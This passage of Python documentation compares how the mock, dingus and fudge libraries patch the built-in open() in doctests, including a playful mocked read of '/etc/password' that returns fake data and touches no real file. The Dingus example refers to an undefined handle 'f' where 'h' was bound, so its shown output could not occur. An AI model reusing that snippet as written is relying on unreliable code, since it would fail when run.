...     my_mock.return_value.__enter__ = lambda s: s
...     my_mock.return_value.__exit__ = mock.Mock()
...     my_mock.return_value.read.return_value = 'some data'
...     with open('foo') as h:
...         data = h.read()
...
>>> data
'some data'
>>> my_mock.assert_called_once_with('foo')
>>> # Dingus
>>> my_dingus = dingus.Dingus()
>>> with dingus.patch('__builtin__.open', my_dingus):
...     file_ = open.return_value.__enter__.return_value
...     file_.read.return_value = 'some data'
...     with open('foo') as h:
...         data = f.read()
...
>>> data
'some data'
>>> assert my_dingus.calls('()', 'foo').once()
>>> # fudge
>>> from contextlib import contextmanager
>>> from StringIO import StringIO
>>> @contextmanager
... def fake_file(filename):
...     yield StringIO('sekrets')
...
>>> with fudge.patch('__builtin__.open') as fake_open:
...     fake_open.is_callable().calls(fake_file)
...     with open('/etc/password') as f:
...         data = f.read()
...
fake:__builtin__.open
>>> data
'sekrets'